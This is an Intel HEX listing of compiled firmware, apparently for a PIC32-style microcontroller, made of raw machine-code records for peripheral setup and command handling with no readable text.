:107b80001200c3a7f0ff4014000000001000c0a3c3
:107b9000ed5e400b000000001000c2937000c38f28
:107ba00021106200000040a01000c2930100422496
:107bb0001000c2a31000c2930d00422cf6ff401427
:107bc000000000001400c28f3a0043940800022411
:107bd00049006210000000001100c0a31000c0a303
:107be000085f400b000000001100c2931000c39317
:107bf0001400c48f21188300200063807000c48f9c
:107c000021108200000043a01100c2930100422411
:107c10001100c2a31000c293010042241000c2a3ad
:107c20001000c2930800422c080040100000000021
:107c30001000c2931400c38f211062002000438003
:107c400020000224e8ff6214000000001400c28f2c
:107c50002800438020000224390062100000000048
:107c60001100c293010043241100c3a37000c38f0d
:107c7000211062002e000324000043a0080002240b
:107c80001000c2a3315f400b000000001100c2933e
:107c90001000c3931400c48f211883002000638058
:107ca0007000c48f21108200000043a01100c29315
:107cb000010042241100c2a31000c293010042241b
:107cc0001000c2a31000c2930b00422c1c004010f5
:107cd000000000001000c2931400c38f2110620046
:107ce0002000438020000224e8ff6214000000000e
:107cf000505f400b000000001100c0a34c5f400b20
:107d0000000000001100c2931100c3931400c48f3f
:107d100021188300200063807000c48f211082002e
:107d2000000043a01100c293010042241100c2a32d
:107d30001100c2930b00422cf2ff4014000000001f
:107d40001400c28f3a004294ff0043307000c28f8b
:107d50000d0043a01400c28f1400438c7000c28f2a
:107d6000100043ac1400c28f1e004294001c02009d
:107d70001400c28f1c004294211862007000c28f50
:107d8000140043ac1400c28f360042942118400006
:107d90007000c28f240043ac7000c28f0100032426
:107da0003c0043a0211000006f5f400b000000006a
:107db0001b000224388182a3ffff022421e8c003b4
:107dc0006400bf8f6000be8f6800bd270800e0031d
:107dd0000000000098ffbd276400bfaf6000beaf89
:107de00021f0a0036800c4af1800c2271400c2af7e
:107df000388180a36800c28f3c0042900600401486
:107e00000000000007000224388182a3ffff022443
:107e10008760400b000000006800c28f3800438c70
:107e20000c80828f3c00428c060062100000000033
:107e30001f000224388182a3ffff02248760400bc9
:107e4000000000006800c28f1800438c1400c28f2d
:107e50002c0043ac308183971400c28f340043a4bc
:107e60001400c28f3400429407004010000000004c
:107e70001400c28f00a0033c90116324300043ac77
:107e8000b05f400b000000006800c28f2800422451
:107e9000212040001400c58f010006244e42400fef
:107ea0000000000006004014000000001200022440
:107eb000388182a3ffff02248760400b000000008e
:107ec0001400c28f00a0033c58106324000043ac90
:107ed0001400c28f040040ac1400c28f080040acf4
:107ee0006800c28f2400428cffff42300100422410
:107ef000ffff43301400c28f360043a46800c28fd6
:107f000035004290211840001400c28f3a0043a46b
:107f10000c80828f3c00438c1400c28f3c0043ac29
:107f20000c80828f4000438c1400c28f400043ac11
:107f300000a0023ca01344241400c58f403e400f13
:107f4000000000001400c48f00a0023ca0134524d0
:107f50000100062401000724db1b400f0000000085
:107f600006004010000000000b000224388182a3ac
:107f7000ffff02248760400b000000001400c28f46
:107f8000340043946800c28f200043a41400c28fc1
:107f9000340042941d004010000000001400c28f05
:107fa000340042941200c2a71200c38700a0023c12
:107fb00040180300e413422421106200000040a492
:107fc000fe5f400b000000001200c4871200c38750
:107fd00000a0023c40180300440642242110620025
:107fe0000000439400a0023c40200400e41342241b
:107ff00021108200000043a41200c287ffff432427
:108000001200c3a7f0ff4014000000001100c0a33d
:108010000d60400b000000001100c2936800c38f88
:1080200021106200000040a01100c2930100422410
:108030001100c2a31100c2930d00422cf6ff4014a0
:10804000000000001400c28f3a004394080002248c
:1080500049006210000000001000c0a31100c0a37e
:108060002860400b000000001000c2931100c39371
:108070001400c48f21188300200063806800c48f1f
:1080800021108200000043a01000c293010042248e
:108090001000c2a31100c293010042241100c2a328
:1080a0001100c2930800422c08004010000000009c
:1080b0001100c2931400c38f21106200200043807e
:1080c00020000224e8ff6214000000001400c28fa8
:1080d00028004380200002243900621000000000c4
:1080e0001000c293010043241000c3a36800c38f93
:1080f000211062002e000324000043a00800022487
:108100001100c2a35160400b000000001000c29398
:108110001100c3931400c48f2118830020006380d2
:108120006800c48f21108200000043a01000c29399
:10813000010042241000c2a31100c2930100422496
:108140001100c2a31100c2930b00422c1c0040106e
:10815000000000001100c2931400c38f21106200c0
:108160002000438020000224e8ff62140000000089
:108170007060400b000000001000c0a36c60400b5a
:10818000000000001000c2931000c3931400c48fbd
:1081900021188300200063806800c48f21108200b2
:1081a000000043a01000c293010042241000c2a3ab
:1081b0001000c2930b00422cf2ff4014000000009c
:1081c0001400c28f3a004294ff0043306800c28f0f
:1081d0000d0043a01400c28f1400438c6800c28fae
:1081e000100043ac1400c28f1e004294001c020019
:1081f0001400c28f1c004294211862006800c28fd4
:10820000140043ac1400c28f360042942118400081
:108210006800c28f240043ac2110000021e8c00395
:108220006400bf8f6000be8f6800bd270800e003b8
:1082300000000000e0ffbd271c00bfaf1800beaf6c
:1082400021f0a0032000c4af2400c5af2800c6afb2
:1082500001000224488082af2000c48f2400c58f13
:108260002800c68f345e400f000000001000c2af2f
:10827000488080af1000c28f21e8c0031c00bf8f70
:108280001800be8f2000bd270800e003000000009a
:10829000e8ffbd271400bfaf1000beaf21f0a00360
:1082a000c560400f0000000000a0023cdc564224e4
:1082b000070042900e0040100000000088bf033c01
:1082c00020606294c47b027c206062a400a0023c17
:1082d000e3564424c265400f0000000088bf033c01
:1082e0002060629401000424c47b827c206062a42c
:1082f000f881828f0300401400000000cba2400fe1
:1083000000000000fd62400f00000000bc60400b58
:1083100000000000a0ffbd275c00bfaf5800beaf4b
:1083200021f0a00381bf023cffff0334609043ac07
:10833000c404023c00b442341000c2af1000c28f2b
:108340001400c2af1400c28f1800c2af1800c28f51
:108350001c00c2af1800c38fc404023c01b44234f5
:108360002b10620008004014000000000800023cce
:108370002000c2af1c00c28f421002001c00c2af1e
:10838000e360400b000000002000c0af2000c28f5f
:108390002400c2afef57410f000000002800c2af19
:1083a00088bf023c0030428c0003427cff00423018
:1083b0002c00c2af2c00c28f090040140000000046
:1083c00088bf023c00100324083043ac88bf023c45
:1083d0000030428c00084230fcff401400000000d6
:1083e0002c00c28f3000c2af81bf023c30f240ace3
:1083f00081bf023c99aa033c5566633430f243ac1a
:1084000081bf023c6655033caa99633430f243ac09
:1084100081bf023c00f0428c5400c2af5400c28fb6
:10842000c4a4027c5400c2af5400c38f2400c28f86
:10843000251062005400c2af5400c38f81bf023cbc
:1084400000f043ac81bf023c00f0428c5400c2af4c
:1084500081bf023c3333033c3333633430f243aceb
:108460003000c28f3400c2af3400c28f13004010fe
:108470000000000088bf023c0030428c0003427cb8
:10848000ff0042303800c2af3800c28f0e004014e7
:108490000000000088bf023c00100324083043acf9
:1084a00088bf023c0030428c00084230fcff401480
:1084b000000000003261400b0000000088bf023c59
:1084c00000100324043043ac2800c48f9257410f9e
:1084d000000000001c00c28f3c00c2af4000c0afd3
:1084e0004261400b000000004000c28f01004224a6
:1084f0004000c2af1400c38f36fe023c803c4234c1
:10850000211062001400c2af1400c38fc901023ce5
:1085100081c342342b106200f3ff401000000000c2
:10852000ef57410f000000004400c2af88bf023c7b
:108530004000c38f004043ac4400c48f9257410faa
:10854000000000003c00c28f4800c2afef57410f4f
:10855000000000004c00c2af88bf023c4000032472
:10856000042043ac88bf023c0040428c5000c2afa4
:108570005000c28f300042345000c2af88bf023c6e
:108580005000c38f004043acb357410f00000000c0
:108590004c00c48f9257410f0000000088bf023c7e
:1085a00010000324641043ac88bf023c681040ac48
:1085b00080bf023c000640ac88bf023c000103249f
:1085c000641043ac88bf023c681040ac80bf023ce2
:1085d000000840ac88bf023c0100033c641043ac7f
:1085e00088bf023c681040ac80bf023c000c40ac2d
:1085f00080bf023c40000324000e43ac80bf023c1d
:10860000100e40ac80bf023cffff0324200e43aca1
:1086100080bf023c00800334080e43ac88bf023c9c
:108620001c000324e41043ac88bf023c1c0003245c
:10863000e81043aca44b410f000000000c9f400f1a
:1086400000000000f881828f030040140000000049
:10865000cba2400f000000002d00023cc0c64434f5
:10866000400e410f000000004624410f00000000b2
:10867000a461400f0000000021e8c0035c00bf8f30
:108680005800be8f6000bd270800e0030000000016
:10869000e8ffbd271400bfaf1000beaf21f0a0035c
:1086a0001c8280a3108280af01000224288282af46
:1086b00088bf033cc061629401000424c47b827cb7
:1086c000c06162a488bf033cd061628c01000424b5
:1086d0008473827cd06162ac88bf033cd061628cc1
:1086e00001000424c47b827cd06162ac88bf033c5f
:1086f00000606294010004248410827c006062a403
:1087000088bf033c00606294010004240421827c41
:10871000006062a488bf033c0060629401000424ee
:108720004429827c006062a488bf033c006062949c
:108730008473027c006062a488bf033c0060629482
:10874000c47b027c006062a488bf033c40606294ea
:108750000421027c406062a488bf033c40606294b4
:108760004429027c406062a488bf033c406062945c
:10877000444a027c406062a488bf033c406062942b
:1087800001000424c45a827c406062a488bf033c78
:1087900040606294010004240463827c406062a40f
:1087a00088bf033c4060629401000424446b827cd7
:1087b000406062a488bf033c806062944408027ced
:1087c000806062a488bf033c806062948410027c55
:1087d000806062a488bf033c80606294c418027cfd
:1087e000806062a488bf033c80606294010004241e
:1087f0000421827c806062a488bf033cc0606294d4
:10880000010004240400827cc06062a488bf033c91
:10881000c06062944408027cc06062a488bf033ccc
:10882000c06062948410027cc06062a488bf033c74
:10883000c0606294c418027cc06062a488bf033c1c
:10884000c06062940421027cc06062a488bf033cc3
:10885000c0606294010004244429827cc06062a448
:1088600088bf033cc0606294010004248431827c90
:10887000c06062a488bf033cc0606294c439027cbb
:10888000c06062a488bf033cc060629401000424fd
:108890000442827cc06062a488bf033cc0606294d2
:1088a000c45a027cc06062a488bf033cc06062946a
:1088b000010004240463827cc06062a488bf033c7e
:1088c000006162940400027c006162a488bf033ce2
:1088d000006162944408027c006162a488bf033c8a
:1088e000006162948410027c006162a488bf033c32
:1088f00000616294c418027c006162a488bf033cda
:10890000006162944429027c006162a488bf033c38
:1089100000616294010004248431827c006162a4bd
:1089200088bf033c0061629401000424c439827c46
:10893000006162a488bf033c006162940442027c2f
:10894000006162a488bf033c00616294444a027cd7
:10895000006162a488bf033c40616294010004246a
:108960000400827c406162a488bf033c4061629441
:10897000010004244408827c406162a488bf033c57
:1089800040616294010004248410827c406162a4ee
:1089900088bf033c406162940442027c406162a44f
:1089a00088bf033c806162948431027c806162a450
:1089b00088bf033c80616294010004240463827ccc
:1089c000806162a488bf033c80616294010004243a
:1089d000446b827c806162a488bf033c80616294a6
:1089e000444a027c806162a488bf033c6060629458
:1089f000444a027c606062a488bf033ca060629429
:108a00004408027ca06062a488bf033ca06062941a
:108a10008410027ca06062a488bf033ca0606294c2
:108a2000c418027ca06062a488bf023cd060428c63
:108a30008001427cff00443088bf033ce0606294c8
:108a40008410827ce06062a488bf023cd060428ccb
:108a50004001427cff00443088bf033ce0606294e8
:108a6000c418827ce06062a488bf033c20616294e9
:108a70004429027c206162a488bf033c2061629487
:108a800001000424444a827c206162a488bf033c24
:108a900020616294c418027c206162a488bf033cf8
:108aa000206162948410027c206162a488bf033c30
:108ab000206162944408027c206162a488bf033c68
:108ac000206162940400027c206162a488bf033ca0
:108ad000a06162948431027ca06162a488bf033cdf
:108ae00020606294c47b027c206062a488bf033c47
:108af000e0606294c45a027ce06062a45c37410f7b
:108b00000000000001000424b5f8400f0000000040
:108b100004ec400f0000000088bf033c60606294da
:108b20000421027c606062a488bf033c60606294a0
:108b30004429027c606062a488bf033c2061629487
:108b400001000424c418827c206162a488bf033c15
:108b500020616294010004248410827c206162a45c
:108b600088bf033c20616294010004244408827c95
:108b7000206162a488bf033c206162940100042448
:108b80000400827c206162a488bf033ca0616294df
:108b9000010004248431827ca06162a488bf033c6c
:108ba0002060629401000424c47b827c206062a463
:108bb00088bf033ce060629401000424c45a827cb4
:108bc000e06062a400a0023cdc5642248700429090
:108bd00021204000abc0400f0000000021e8c0038e
:108be0001400bf8f1000be8f1800bd270800e003df
:108bf00000000000e0ffbd271c00bfaf1800beafa3
:108c000021f0a0031000c0a39714410f0000000042
:108c1000d980839301000224160062140000000032
:108c2000f881828f2000422c0600401400000000d2
:108c300088bf023c8050428c020042300400401049
:108c400000000000000000008964400b00000000ec
:108c5000a5818293070040140000000000a0023ca0
:108c60005c56442440000524bf11410f0000000061
:108c70001000c2a38337410f00000000090040101c
:108c80000000000002000224d98082a300a0023c60
:108c90005c56442464000524db13410f00000000ef
:108ca0001000c2a31000c2935c014010000000003d
:108cb0001100c0a37364400b000000001100c393b7
:108cc00000a0023c5c564224211062000000429049
:108cd0000d0003242f004310000000000e00432865
:108ce0000900601000000000080003240c0043107d
:108cf000000000000a0003242600431000000000ca
:108d00004064400b000000001b0003247600431069
:108d1000000000007f000324f9004314000000005d
:108d20001000c0a3e08082930900401400000000fe
:108d3000029d023c3cec4424029d023c40ec452454
:108d40002013410f000000007064400b0000000081
:108d5000029d023c3cec4424029d023c44ec452430
:108d60002013410f00000000e0808293ffff4324a6
:108d7000ff006330e08083a32118400000a0023c84
:108d80009870422421106200000040a07064400be3
:108d900000000000e08082932118400000a0023c07
:108da0009870422421106200000040a0e18080a35e
:108db00000a0023c9870422400004280070040144a
:108dc0000000000000a0023c98704424c265400fdf
:108dd000000000008964400b00000000e2808393e3
:108de00001000224200062140000000000a0023ce8
:108df000746c4224000042801b0040100000000000
:108e0000010002241100c2a39663400b0000000081
:108e10001100c293ffff4224c019020000a0023ccf
:108e2000f46b4224211862001100c293c021020099
:108e300000a0023cf46b422421108200212060003b
:108e4000212840007f49410f000000001100c2931b
:108e5000010042241100c2a31100c2930200422c5f
:108e6000ebff401400000000e2808293c019020072
:108e700000a0023cf46b422421106200212040003b
:108e800000a0023c987045247f49410f000000007b
:108e9000e2808393e38082932b1043000300401011
:108ea00000000000e2808293e38082a3e28082934c
:108eb0000500401400000000e2808293010042247b
:108ec000ff004230e28082a3e08080a31000c0a3b4
:108ed00000a0023c98704424c265400f00000000ce
:108ee0008964400b00000000d980839301000224b4
:108ef0001700621400000000c263400b0000000075
:108f00008d12410f00000000a5818293fcff4014e8
:108f1000000000000000000000a0023c5c56442459
:108f200002000524bf11410f00000000faff4010ad
:108f30000000000000a0023c5c5643905b0002244d
:108f400003006210000000007064400b000000008d
:108f5000e063400b00000000e0808293ffff4224aa
:108f6000ff004230e08082a3029d023c3cec44249e
:108f7000029d023c44ec45242013410f00000000f8
:108f8000e0808293f4ff40140000000000a0023c47
:108f9000987040a01000c0a300a0023c5c56422480
:108fa00001004390410002242100621400000000ef
:108fb000e28082930900401400000000029d023c00
:108fc0003cec4424029d023c40ec45242013410f1c
:108fd000000000000264400b00000000e18082936a
:108fe0000700401000000000e2808293ffff42244f
:108ff000ff004230e28082a30264400b00000000c8
:1090000001000224e18082a3e2808293c019020061
:1090100000a0023cf46b42242110620000a0033c3b
:1090200098706424212840007f49410f000000000f
:1090300000a0023c5c5642240100439042000224fe
:109040002100621400000000e18080a3e28083938d
:10905000e38082932b1043000500401400000000c1
:10906000e2808393010002240900621400000000e2
:10907000029d023c3cec4424029d023c40ec452411
:109080002013410f000000003264400b000000007c
:10909000e280829301004224ff004230e28082a3fa
:1090a000e2808293c019020000a0023cf46b4224cb
:1090b0002110620000a0033c987064242128400025
:1090c0007f49410f0000000000a0023c987044243a
:1090d000a34a410f00000000ff004230e08082a35d
:1090e000029d023c3cec442400a0023c98704524c4
:1090f0002013410f000000007064400b00000000ce
:109100001100c39300a0023c5c564224211062006f
:10911000000042902000422c090040140000000092
:109120001100c39300a0023c5c564224211062004f
:10913000000042907f00422c0a0040140000000012
:10914000029d023c3cec4424029d023c40ec452440
:109150002013410f000000001000c0a37064400bfa
:10916000000000001100c493e080829301004324ba
:10917000ff006330e08083a31100c59300a0033c8f
:109180005c5663242118a3000000659000a0033cf6
:109190009870632421184300000065a000a0033ce0
:1091a00098706324211043000000439000a0023c0b
:1091b000dc44422421108200000043a00000000093
:1091c0001100c293010042241100c2a31100c393f5
:1091d0001000c2932b106200b8fe40140000000083
:1091e000d8808393010002240c0062140000000068
:1091f0001000c39300a0023cdc4442242110620012
:10920000000040a0029d023c3cec442400a0023c33
:10921000dc4445242013410f000000008d12410f53
:109220000000000021e8c0031c00bf8f1800be8fa3
:109230002000bd270800e00300000000e8ffbd2774
:109240001400bfaf1000beaf21f0a003bd10410f4e
:109250000000000021e8c0031400bf8f1000be8f83
:109260001800bd270800e00300000000e8ffbd274c
:109270001400bfaf1000beaf21f0a0037011410f6a
:109280000000000021e8c0031400bf8f1000be8f53
:109290001800bd270800e00300000000f8ffbd270c
:1092a0000400beaf21f0a0030082838f01000224de
:1092b0002b00621400000000d481838f010002247f
:1092c000270062140000000088bf023c0002033c3b
:1092d000741043ac88bf033c805062904408027c09
:1092e000805062a0d48180af100e0224e48082a757
:1092f000e4808297ffff4224ffff4230e48082a790
:10930000e4808297faff40140000000088bf033c0d
:1093100050526290010004248410827c505262a05a
:1093200008070224e48082a7e4808297ffff42249a
:10933000ffff4230e48082a7e4808297faff401466
:109340000000000088bf033c505262908410027cf1
:10935000505262a088bf023c0002033c781043ac2c
:1093600021e8c0030400be8f0800bd270800e00309
:1093700000000000e8ffbd271400bfaf1000beaf23
:1093800021f0a0031800c4af1c00c5af2110c0001d
:109390002000c2a71800c28f03000324110043104d
:1093a00000000000720003240600431000000000cb
:1093b000010003240700431000000000fc64400b80
:1093c0000000000001000224d98082a3fc64400b4d
:1093d000000000009b64400f00000000fc64400b94
:1093e000000000008f64400f00000000000000003b
:1093f0000100022421e8c0031400bf8f1000be8fbb
:109400001800bd270800e00300000000f0ffbd27a2
:109410000c00beaf21f0a00388bf023c0200032471
:10942000441043ac0000000088bf023c4010428c56
:1094300002004230fcff40100000000081bf023cef
:109440001090428cc001427cff004230010042304b
:109450000400401400000000080002241a65400bbc
:1094600000000000211000000000c2af0000c28f09
:109470000019020081bf023c70904224211062005a
:109480000000428c21e8c0030c00be8f1000bd27f5
:109490000800e00300000000e0ffbd271c00bfaf94
:1094a0001800beaf21f0a0032000c4af2400c5af58
:1094b0002400c48fa34a410f000000001000c2af77
:1094c0002000c48fa34a410f000000001400c2af67
:1094d0001000c28f040040140000000001000224ac
:1094e0004a65400b000000001400c38f1000c28fbb
:1094f0002b1062000b004014000000002400c48ff9
:109500002000c58f1000c68f7654410f0000000068
:109510000400401400000000010002244a65400bd2
:10952000000000002110000021e8c0031c00bf8fd4
:109530001800be8f2000bd270800e00300000000d7
:1095400078ffbd278400bfaf8000beaf21f0a0032d
:109550008800c4af1c00c3276400022421206000df
:1095600021280000213040006551410f000000001b
:109570008800c48fa34a410f000000006400422c01
:1095800006004010000000008800c48fa34a410f6d
:10959000000000006865400b000000006400022429
:1095a0001400c2af1400c28f190040100000000068
:1095b0008800c48f029d023c48ec45242665400f7c
:1095c000000000000c004010000000008800c28f66
:1095d000050043241400c28ffbff42241c00c42753
:1095e00021286000213040002054410f000000007d
:1095f0008465400b000000001c00c22721204000b1
:109600008800c58f1400c68f2054410f0000000051
:109610001000c0af1c00c22721204000029d023c68
:1096200050ec4524734d410f000000000100422c16
:10963000ff0042301800c2afae65400b00000000d2
:109640001800c28f0e0040140000000000a0023c71
:109650001000c38f801803005402422421106200be
:109660000000438c1c00c2272120600021284000fc
:109670002665400f000000000c00401000000000b4
:1096800000a0023c1000c38f801803005402422443
:10969000211062000000428c029d033c58ec6424bf
:1096a000212840002013410f000000001000c28f4d
:1096b000010042241000c2af00a0023c1000c38f82
:1096c0008018030054024224211062000000428ce2
:1096d000dbff401400000000029d023c3cec4424ef
:1096e000029d023c60ec45242013410f0000000065
:1096f00021e8c0038400bf8f8000be8f8800bd2793
:109700000800e0030000000078ffbd278400bfaf21
:109710008000beaf21f0a0038800c4af3000c0a31a
:10972000029d023ca8ec42243c00c2af029d023cd8
:10973000acec42244000c2af8800c48f64bc400f30
:10974000000000008800c28f000042800300401427
:109750000000000001000224d88082a38800c48f8a
:10976000029d023cb0ec4524090006247654410fca
:109770000000000030004014000000008800c28f8c
:10978000090043246000c22721206000029d033ca1
:10979000bcec652421304000b355410f00000000af
:1097a00021184000010002241e0062140000000085
:1097b00000a0023cdc56422487004290080040147e
:1097c00000000000029d023cc0ec442435bc400f68
:1097d000000000003000c2a30e66400b0000000035
:1097e0000100042402bc400f000000003000c2a3ae
:1097f0006000c28f21204000010005248d09410f27
:10980000000000006000c28f21204000da09410ff3
:10981000000000005c15410f000000000e66400bc8
:1098200000000000029d023cd4ec442435bc400ff3
:10983000000000003000c2a38800c48f029d023cdb
:10984000f0ec45240a0006247654410f0000000085
:1098500030004014000000008800c28f0a0043243a
:109860006000c22721206000029d033cbcec6524ff
:1098700021304000b355410f000000002118400086
:10988000010002241e0062140000000000a0023c3f
:10989000dc5642248700429008004014000000007b
:1098a000029d023cc0ec442435bc400f0000000087
:1098b0003000c2a34566400b0000000001000424f4
:1098c00002bc400f000000003000c2a36000c28f45
:1098d00021204000212800008d09410f00000000d8
:1098e0006000c28f21204000da09410f0000000013
:1098f0005c15410f000000004566400b00000000b1
:10990000029d023cd4ec442435bc400f0000000012
:109910003000c2a38800c48f029d023cfcec4524a9
:10992000050006247654410f000000000e0040148c
:10993000000000000100042402bc400f00000000f1
:109940003000c2a38800c28f0500422421204000bd
:10995000b62d410f00000000412e410f0000000015
:109960005c15410f000000008800c48f029d023c7e
:1099700004ed4524734d410f000000000600401423
:10998000000000002120000002bc400f0000000089
:109990003000c2a3d88080a38800c48f029d023cff
:1099a00008ed4524040006247654410f0000000011
:1099b00030004014000000008800c28f04004224e0
:1099c0006000c3271000a3af6400c3271400a3af37
:1099d00021204000029d023c10ed452400a0023ce5
:1099e000f46c4624e8808727b355410f000000003f
:1099f0002118400004000224190062140000000035
:109a0000e880858f6000c38f6400c28f00a0043c93
:109a1000f46c84242130600021384000f6fe400fb1
:109a2000000000000800401400000000029d023cfd
:109a300020ed442435bc400f000000003000c2a3dc
:109a40009d66400b000000002120000002bc400f7a
:109a5000000000003000c2a39d66400b0000000023
:109a6000029d023c30ed442435bc400f0000000054
:109a70003000c2a38800c48f029d023c44ed4524ff
:109a8000734d410f000000001e0040140000000054
:109a900019ec400f0000000015004010000000000d
:109aa0000100042402bc400f000000003000c2a3eb
:109ab0006c80829300a0033cf417642421284000aa
:109ac000adb9400f00000000029d023c3cec442474
:109ad000029d023c48ed45242013410f0000000088
:109ae0005c15410f00000000c166400b0000000043
:109af000029d023c4ced442435bc400f00000000a8
:109b00003000c2a38800c48f029d023c54ed45245e
:109b1000040006247654410f000000003600401473
:109b20000000000000a0023cf46c40a06000c0af48
:109b30008800c28f040043246000c22721206000f7
:109b4000029d033c5ced652400a0033cf46c66249c
:109b500021384000b355410f0000000003004228a7
:109b60000800401400000000029d023c30ed442437
:109b700035bc400f000000003000c2a3fe66400b61
:109b8000000000006000c28f2120400000a0023cc5
:109b9000dc24452400a0023cf46c46245a54410fb6
:109ba000000000000f00401000000000010004242d
:109bb00002bc400f000000003000c2a3029d023c26
:109bc00064ed442400a0023cdc2445242013410f12
:109bd000000000005c15410f00000000fe66400b15
:109be00000000000029d023c6ced442435bc400f97
:109bf000000000003000c2a38800c48f029d023c18
:109c00007ced4524734d410f000000000900401415
:109c1000000000000100042402bc400f000000000e
:109c20003000c2a32439410f000000005c15410f31
:109c3000000000008800c48f029d023c84ed452492
:109c4000734d410f00000000190040140000000097
:109c50000100042402bc400f000000003000c2a339
:109c6000029d023c3cec4424029d023c90ed4524c4
:109c70002013410f000000008239410f0000000056
:109c80006000c2af6000c28f0700401000000000fb
:109c90006000c28f029d033cc4ed64242128400073
:109ca0008513410f000000005c15410f000000000b
:109cb0008800c48f029d023cdced4524734d410faa
:109cc000000000000d00401400000000010004240a
:109cd00002bc400f000000003000c2a3029d023c05
:109ce00064ed442400a0023ce35645242013410fb8
:109cf000000000005c15410f000000008800c48fc8
:109d0000029d023ce4ed4524734d410f000000002c
:109d10000d0040140000000000a0023ce356442463
:109d200021280000800006246551410f000000003a
:109d30002120000002bc400f000000003000c2a340
:109d40006d67400b000000008800c48f029d023c3c
:109d5000f0ed4524080006247654410f0000000071
:109d600014004014000000008800c28f0800422444
:109d700021204000a34a410f000000007f00422c38
:109d80000c004010000000008800c28f0800422430
:109d900000a0033ce3566424212840007f49410f82
:109da000000000002120000002bc400f0000000065
:109db0003000c2a38800c48f029d023cfced452404
:109dc000734d410f00000000090040140000000026
:109dd0000100042402bc400f000000003000c2a3b8
:109de0005fc0400f000000005c15410f0000000044
:109df0008800c48f029d023c04ee4524090006241d
:109e00007654410f000000000c00401400000000d8
:109e10000100042402bc400f000000003000c2a377
:109e20008800c28f090042242120400024bb400f3b
:109e3000000000005c15410f000000008800c48f86
:109e4000029d023c10ee4524734d410f00000000be
:109e500013004014000000000100042402bc400f65
:109e6000000000003000c2a3029d023c3cec4424f0
:109e7000029d023c14ee45242013410f0000000017
:109e80005c15410f000000000100023ca086443434
:109e9000400e410f00000000cb7a400f0000000090
:109ea0008800c48f029d023c38ee4524734d410f5b
:109eb0000000000007004014000000000100022420
:109ec000d88082a32120000002bc400f00000000c7
:109ed0003000c2a38800c48f029d023c3cee4524a2
:109ee000070006247654410f00000000390040149a
:109ef000000000008800c28f070043245c00c227d6
:109f000021206000029d033c44ee65242130400086
:109f1000b355410f00000000211840000100022449
:109f200027006214000000005c00c28f21200000a6
:109f3000212840008552410f00000000200041040c
:109f4000000000005c00c28f029d033c6836648cf8
:109f500021284000af45410f0000000021184000bb
:109f6000029d023c212060006c36458cd147410f98
:109f70000000000021204000e353410f00000000da
:109f8000e88082afe880828f42180200e880828fea
:109f90000300042421286000213040000800072429
:109fa000ce0b410f000000002120000002bc400f3a
:109fb000000000003000c2a3f567400b0000000065
:109fc000029d023c4ced442435bc400f00000000d3
:109fd0003000c2a38800c48f029d023c48ee452495
:109fe000070006247654410f000000002c004014a6
:109ff000000000008800c28f070044246000c327cf
:10a000006400c227029d053c50eea524213060006b
:10a0100021384000b355410f0000000021184000d6
:10a020000200022419006214000000006000c28fc8
:10a0300016004010000000006400c38f6000c28f53
:10a040002b10430011004010000000006000c28f80
:10a05000401802006400c28f401002000600042471
:10a06000212860002130400008000724ce0b410f5a
:10a07000000000002120000002bc400f0000000092
:10a080003000c2a32868400b00000000029d023c83
:10a090004ced442435bc400f000000003000c2a34a
:10a0a0008800c48f029d023c58ee45240700062418
:10a0b0007654410f0000000024004014000000000e
:10a0c0008800c28f0700422421204000029d023cec
:10a0d00060ee4524e8808627b355410f000000005c
:10a0e0002118400001000224130062140000000047
:10a0f000e880828f1000401000000000e880828f0e
:10a1000042180200e880828f0300042421286000a6
:10a110002130400008000724ce0b410f0000000052
:10a120002120000002bc400f000000003000c2a34c
:10a130005368400b00000000029d023c4ced44249b
:10a1400035bc400f000000003000c2a38800c48f5f
:10a15000029d023c64ee4524050006247654410f1e
:10a1600000000000270040140000000000a0023c96
:10a17000f46c40a08800c28f0500422421204000da
:10a18000029d023c3cec452400a0023cf46c4624b9
:10a19000b355410f00000000020042281400401097
:10a1a0000000000000a0023cf46c442401ea400fcf
:10a1b000000000000800401400000000029d023c66
:10a1c0004ced442435bc400f000000003000c2a319
:10a1d0008168400b000000002120000002bc400ffd
:10a1e000000000003000c2a38168400b00000000a6
:10a1f000029d023c30ed442435bc400f00000000bd
:10a200003000c2a38800c48f029d023c6cee45243e
:10a21000734d410f000000000a00401400000000d0
:10a220002120000002bc400f000000003000c2a34b
:10a2300088bf033ca061629401000424444a827cec
:10a24000a06162a48800c48f029d023c78ee452480
:10a25000734d410f00000000090040140000000091
:10a260002120000002bc400f000000003000c2a30b
:10a2700088bf033ca0616294444a027ca06162a44e
:10a280008800c48f029d023c84ee4524734d410f2b
:10a290000000000009004014000000000100042438
:10a2a00002bc400f000000003000c2a39b24410ffd
:10a2b000000000005c15410f000000008800c48f02
:10a2c000029d023c8cee4524080006247654410f82
:10a2d000000000002a0040140000000000a0023c22
:10a2e000d857429021004010000000008800c28f23
:10a2f0000700422421204000029d023c3cec452402
:10a3000000a0023cf46c4624b355410f000000004d
:10a31000211840000100022419006214000000000e
:10a3200000a0023cf46c4424cde9400f0000000082
:10a3300007004010000000002120000002bc400f78
:10a34000000000003000c2a3e068400b00000000e5
:10a35000029d023c4ced442435bc400f000000003f
:10a360003000c2a3e068400b00000000029d023ce8
:10a3700098ee442435bc400f000000003000c2a31a
:10a380008800c48f029d023cacee452404000624e4
:10a390007654410f000000002e0040140000000021
:10a3a00000a0023cf46c40a000a0023cf46d40a070
:10a3b0006000c0af8800c28f04004224212040000a
:10a3c000029d023cb4ee452400a0023cf46c4624fd
:10a3d00000a0023cf46d4724b355410f000000007b
:10a3e00003004228160040100000000000a0023cbc
:10a3f000f46c442400a0023cf46d4524f5e8400fc1
:10a4000000000000070040100000000021200000b4
:10a4100002bc400f000000003000c2a31569400bd1
:10a4200000000000029d023c4ced442435bc400f6e
:10a43000000000003000c2a31569400b00000000be
:10a44000029d023c30ed442435bc400f000000006a
:10a450003000c2a38800c48f029d023cbcee45249c
:10a46000734d410f0000000009004014000000007f
:10a470000100042402bc400f000000003000c2a311
:10a48000ff34410f000000005c15410f0000000088
:10a490008800c48f029d023cc4ee452406000624b9
:10a4a0007654410f00000000270040140000000017
:10a4b0008800c28f060043246000c227212060006c
:10a4c000029d033cccee652421304000b355410f82
:10a4d0000000000021184000010002241500621451
:10a4e000000000006000c28fff00423021204000c9
:10a4f000c434410f000000000700401000000000bd
:10a500002120000002bc400f000000003000c2a368
:10a510005269400b00000000029d023cd0ee442432
:10a5200035bc400f000000003000c2a35269400b50
:10a5300000000000029d023c30ed442435bc400f79
:10a54000000000003000c2a38800c48f029d023cbe
:10a55000e4ee4524080006247654410f0000000074
:10a5600027004014000000008800c28f0800432428
:10a570006000c22721206000029d033cccee6524d0
:10a5800021304000b355410f000000002118400069
:10a590000100022415006214000000006000c28f58
